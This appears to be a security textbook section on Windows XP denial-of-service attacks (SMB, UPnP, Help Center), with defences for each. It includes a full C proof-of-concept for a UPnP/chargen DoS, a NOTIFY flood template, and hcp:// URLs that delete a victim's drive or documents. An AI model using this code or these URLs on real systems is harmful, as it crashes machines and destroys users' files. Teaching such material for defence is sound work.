13.1 Denial-of-Service Attacks

Computer attacks can take several forms, some of which include information gathering, local administrative access, remote access hacks, and, last but not least, denial-of-service attacks. While gaining root access to a server is typically the ultimate goal, there are still numerous reasons a hacker would want to simply take a server out of commission.

For example, what would be the result of an organization-wide cyberattack that caused all of the company's web servers to shut down? This type of attack is not only possible but is also easy to perform, since most organizations purchase large blocks of IP addresses and manage them internally. A hacker simply learns this range in order to systematically target the entire block.

In this section, we investigate two denial-of-service attacks that work in such a manner. The first attacks the Server Message Block protocol used by Windows machines, while the second targets the Universal Plug and Play service (a relatively modern feature of Windows operating systems).

13.1.1 SMB Attack

The Service Message Block (SMB) protocol was designed to provide a platform-independent method of requesting data from file services over a network. Also known as the Common Internet File System, this protocol is most often affiliated with the Windows family of operating systems, although others can use it. So far, only Windows has been found vulnerable to the following attack.

SMB operates in the Application/Presentation layers of the OSI model (depicted in Figure 13-1). Because it operates in such high layers , SMB can easily be used in almost any network. TCP/IP, IPX, NetBEUI, and other lesser-known protocols can all work with SMB packaged data.

Figure 13-1. OSI model depicting relationship of SMB and other protocols

SMB is a protocol used for sharing files, printers, and communication methods between computers. SMB operates as a client/server request/response type of service. In this example, we demonstrate it as used with TCP/IP, which is actually NetBIOS over TCP/IP (NBT).

While it is possible to operate Windows XP without allowing SMB requests to connect, this service is set up to run automatically under the default installation. Remote clients can check for SMB service availability by performing a port scan. Positive results include a reply from TCP port 139 and/or TCP port 445, depending on whether NetBIOS over TCP/IP (NBT) is enabled.

Older Windows operating systems use port 139 by default to accept incoming SMB requests. However, with the introduction of Windows 2000 and XP, port 445 is also used to allow Direct Host services to run. Additionally, this port can be used in anonymous share attacks that provide a remote hacker with full access to a Windows box.

In this attack, the weakness is found in the SMB_COM_TRANSACTION command, which used to create functions by which the client and host communicate. In short, this command defines a "Function Code" that determines what type of service is requested by the client. These services are known as NetServEnum2, NetServEnum3, and NetShareEnum. To regulate the amount of information requested , the client uses parameters to send values to the server. Within these parameters are the "Max Param Count" and "Max Data Count" fields, which typically hold valid (nonzero) values. However, if these fields are set to "0", the code in the DLL file responsible for handling this information incorrectly manages the server's memory. As a result, the system goes into an unstable mode and crashes.

While all this information can be useful in understanding and manually performing a DoS attack on SMB, several proof-of-concept programs have been developed to illustrate how it works and test personal networks. One program that illustrates the effectiveness of the SMB attack is smbnuke (written by Frederic Deletang). As seen in Figure 13-2, the program crashes a Windows XP machine with the simple command smbnuke address .

Figure 13-2. Windows XP blue screen of death after SMB attack

Figure 13-2 shows the screen of the targeted Windows XP box with the message posted by the infamous blue screen of death . Note that this screen only flashes for a couple of seconds before the system goes down for a reboot.

This program is easily fetched online with a quick web search. To test your own Windows XP system, you will need to be running a Unix system, preferably FreeBSD or Linux (we tested this on Linux 2.4.18/i686 and FreeBSD 4.6.1-RELEASE-p10/i386). Figure 13-3 shows smbnuke successfully testing Windows XP.

Figure 13-3. smbnuke successfully testing Windows XP box

The code is available in uncompiled format. You will need to have a C compiler (e.g., GCC) on your system to create the executable file.

There are various ways to secure a system from the SMB DoS attack. The first method is to remove NetBIOS from any network card or modem connection. This eliminates the possibility of abusing NBT and removes the threat of an attack. To do this, access the properties of your connection and uninstall or unbind NetBIOS from TCP/IP. Disable file sharing and uninstall Client for Microsoft Networks.

Check with your ISP or LAN administrator before performing any of these actions. Breaking NetBIOS can cause some programs to malfunction.

The second method of defense is to install the patch from Microsoft, which is buried in Service Pack 1 (SP1). Note that Microsoft has not provided a fix for this outside of SP1 ”a service pack that also includes software that ensures your Windows XP license is valid. In other words, if you lose your key, you are hosed.

Disabling Null connections also protects against anonymous attacks, but it does not protect against valid users. This is accomplished on Windows XP by updating the Local Security Policy and enabling "Network Access: Do not allow anonymous enumeration of SAM accounts" and "Network access: Do not allow anonymous enumeration of SAM accounts and shares." On Windows 2000, enable the "Additional restrictions for anonymous connection" option, and in Windows NT, update the registry key at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\restrictanonymous to equal "1".

Finally, shutting down the LAN manager service secures a server, but it also disables file and print services. This option is accessible via the Service icon in the Control Panel (under Adminstrative Tools).

13.1.2 Universal Plug and Play Attack

With the introduction of Windows Me, Microsoft included support for a new technology known as Universal Plug and Play (UPnP) in order to permit the use of smart devices that use the UPnP technology to automatically detect and connect with each other. When a UPnP device connects to a network, it sends out a NOTIFY signal to all other devices on the network, which simply tells the other devices that a new device is online and ready to be used. The NOTIFY signal includes a URL that can be used by other UPnP devices to determine what services the new device has to offer. All this is performed using the Simple Service Discovery Protocol (SSDP), the main formatting protocol for passing information using UPnP (http://www.upnp.org/download/draft_cai_ssdp_v1_03.tx).

In addition to the initial NOTIFY signal, UpnP-aware devices send out a signal over the network known as the M-SEARCH directive . This directive informs all UPnP devices that a new, aware device is on the network, which causes them to send back information about the services each of them has to offer.

While this particular technology is not in widespread use, it could theoretically set up an appliance network to control and regulate every electric device in a house, from toasters to refrigerators. It was not until the release of Windows XP, which enabled this feature by default, that it was discovered that the UPnP feature was vulnerable to several DoS attacks.

The core of the problem is the way which the ssdpsrv.exe file handles incoming requests. The following examples describe several methods of attacking the UPnP service.

The first method is to use an incidental attack that creates a series of rapid connections to the target. Incrementing the protocol, port, and file specified in the Location field makes the service unstable. Here's the format of a NOTIFY session used to do this:

 NOTIFY * HTTP/1.1 HOST: <TARGET IP>:1900 CACHE-CONTROL: max-age=10 LOCATION: http://IPADDRESS:PORT/.xml NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1 NTS: ssdp:alive SERVER: HACKER/2001 UPnP/1.0 product/1.1 USN: uuid:HACKER 

This method of attack can be altered to perform a distributed denial-of-service attack by abusing networking standards. To do this, the attacker has to substitute the Host target IP address with the network's broadcast address (e.g., 255.255.255.0) and then update the Location field with the target. This causes all listening devices on the network to reply to the initial NOTIFY message (Location field), which floods the target computer with numerous replies.

An attacker could also cause a UPnP service to target itself and create a loop that eats up the host's resources. To accomplish this, the NOTIFY message is set to target a chargen service on a remote computer. The chargen service is a small program that sends a stream of characters to any computer that connects to it; when the UPnP service sends data to chargen, it immediately bounces the message back to the requesting computer. This triggers another message, creating a new reply. Eventually, the resources on the target computer fail.

This code is provided with permission from Gabriel Maggoiti as a proof of concept:

 /*   * WinME/XP UPNP D0S    *  * ./upnp_udp <remote_hostname> <spooffed_host> <chargen_port>  *  * Authors:     Gabriel Maggiotti, Fernando Oubia  * Email:       [e-mail], [e-mail]  * Webpage:     http://qb0x.net  */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <unistd.h> #include <fcntl.h> #define MAX    1000 #define PORT    1900 char *str_replace(char *rep, char *orig, char *string) { int len=strlen(orig); char buf[MAX]=""; char *pt=strstr(string,orig); strncpy(buf,string, pt-string); strcat(buf,rep); strcat(buf,pt+strlen(orig)); strcpy(string,buf); return string; } /*********************************************************/ int main(int argc,char *argv[]) {     int sockfd,i;     int numbytes;     int num_socks;     int addr_len;     char recive_buffer[MAX]="";     char send_buffer[MAX]=     "NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n"     "CACHE-CONTROL: max-age=1\r\nLOCATION:                      http://www.host.com:port/\r\n"     "NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n"     "NTS: ssdp:alive\r\nSERVER: QB0X/201 UPnP/1.0 prouct/1.1\r\n"     "USN: uuid:QB0X\r\n\r\n\r\n";     char *aux=send_buffer;     struct hostent *he;     struct sockaddr_in their_addr;     if(argc!=4)     {         fprintf(stderr,"usage:%s <remote_hostname> "\             "<spooffed_host> <chargen_port>\n",argv[0]);         exit(1);     }     aux=str_replace(argv[2],"www.host.com",send_buffer);     aux=str_replace(argv[3],"port",send_buffer);     if((he=gethostbyname(argv[1]))==NULL)     {         perror("gethostbyname");         exit(1);     }     if((sockfd=socket(AF_INET,SOCK_DGRAM,0)) == -1) {         perror("socket"); exit(1);     }     their_addr.sin_family=AF_INET;     their_addr.sin_port=htons(PORT);     their_addr.sin_addr=*((struct in_addr*)he->h_addr);     bzero(&(their_addr.sin_zero),8);     if((numbytes=sendto(sockfd,send_buffer,strlen                         (send_buffer),0,\     (struct sockaddr *)&their_addr,                  sizeof(struct sockaddr))) ==-1)     {         perror("send");         exit(0);     }     close(sockfd); return 0; } 

Microsoft has released a patch to correct this vulnerability. Once it's installed, the UPnP is no longer vulnerable to this DoS attack. Visit http://windowsupdate.microsoft.com for security patches.

The UPnP DoS attack has also led to a remote access attack, discussed later in this chapter.

13.1.3 Help Center Attack

While the previous example illustrates one very effective method of denying use, there are many forms of DoS attacks that can have the same effect and in some cases can be more damaging . By remotely crashing a computer using SMB attacks, the hacker can be disconnected from the remote computer and the attack ended. However, if an attacker were out to truly disrupt a computer user 's life, he would target the filesytem of the computer. The Help Center attack employs this approach.

With the introduction of Windows XP, Microsoft has incorporated a new Help Center program, as illustrated in Figure 13-4. The Help and Support link, which is accessed from the Start menu, opens a window depicting a new, cartoonish screen that provides users with information about the operating system and the many tools and programs that are included with it. As Microsoft puts it, "Help and Support Center is the unified Help introduced by Windows XP. It is an expanded version of the Help Center application (introduced in Windows Millennium Edition), providing a wider breadth of content and more features to access that content." Who would have guessed that one of these features would be able to delete your files ?

Figure 13-4. Windows XP Help Center

The improved Help Center provides a wealth of information, but it's much more than that. In the Help Center, a user can perform hardware and software tests, configure operating system tools, and even send out a request for assistance. However, a sophisticated tool like this requires a highly complex system of web pages and XML files that all work together to provide service. One of these files is uplddrvinfo.htm .

This file, which is typically located in the c:\windows\PCHEALTH\HELPCTR\System\DFS\ directory, appears to be used in the processing of information relating to hardware and drivers. There are other files included in the HELPCTR folder that permit various other activities; however, it is in the uplddrvinfo.htm file that we find the most dangerous of problems.

The file in question includes several lines of code that check for the existence of a file location that is sent to uplddrvinfo.htm as a parameter. The program uses this parameter to make a file object, which is then deleted. The following is the problematic code taken from uplddrvinfo.htm .

 var sFile = unescape(sThisURL.substring(sThisURL.indexOf('?') + 1)); sFile = sFile.replace('file://', '').replace(/\&.*/,''); var oFSO = new ActiveXObject('Scripting.FileSystemObject'); try{ oFSO.DeleteFile(sFile);} 

Here's an explanation of each line of code to clarify this example:

1. The first line assigns the value of the parameter to a variable named sFile . At this time, the value is only a string and is not actually linked to the filesystem.

2. Before the string can be used, it must first be parsed for any irrelevant data. This line removes any of the characters ( , / , & , ., * , or ) from the string.

3. A new filesystem object is created and assigned the value oFSO . This object is linked to mini-programs that can perform reading, writing, deleting, and other file- related activities.

4. At this point, the script enters a part of the program that is written to provide error correction. The try term indicates that the next lines of code are to be tried and monitored for errors as they execute.

5. The last line performs file deletion. Using the string held in the sFile variable, the oFSO object now has a target on which to perform its operation ”in this case, a deletion.

As the explanation illustrates, this particular code deletes files very efficiently . But could someone abuse these few lines of code to cause chaos on a victim's computer? The answer is found in the Help Center Protocol (HCP).

The HCP is a recent addition to the Windows family of operating systems; it allows access to the Help Center application from a web browser, email, or any other form of media that allows hyperlinks . In other words, HCP is very similar to HTM , with the addition of the program that is executed when the corresponding file is called.

An HTM file is opened within the context of a special user account that has a controlled set of permissions. In other words, hostile code in a web page should not be able to delete core files on a computer. However, an HCP file is loaded within the context of the Help Center application, which has a higher level of permissions. Because the Help Center accesses core parts of the computer to extract information, such as driver versions and hardware settings, any scripting within it also operates at an escalated level. This means the uplddrvinfo.htm file has the power to alter the core filesystem.

The only thing that is left is to create a link to the file and tell it what to delete. This is accomplished using the URL hcp://system/DFS/uplddrvinfo.htm?file://c:\* or, if the hacker was targeting the user's documents, hcp://system/DFS/uplddrvinfo.htm?file://c:\Documents and Settings\Administrator\My Documents\* .

Once a hacker has access to the filesystem, the chaos she can cause is only limited by her imagination . What makes this truly scary is the fact that the user will have no idea what happened . All the user sees is a perfectly harmless Help and Support window. Since this URL can be placed anonymously on the Internet, or hidden in an <a href> tag in an HTML-based email, the only thing a hacker has to do is provide some wording that would cause the user to follow the link and become a victim.

While this particular method of attack is catastrophic to a victim's computer, it is relatively simple to protect against. There are three main options available: remove or move uplddrvinfo.htm , remove the hostile code from the uplddrvinfo.htm file, or disable the HCP protocol altogether.

Ironically, you can use the hostile scripting itself to eliminate the dangerous file. As Shane Hird (who discovered this bug) observed , using the URL hcp://system/DFS/uplddrvinfo.htm?file://c:\windows\PCHEALTH\HLPCTR\system\DFS\uplddrvinfo.htm causes the hostile file to delete itself.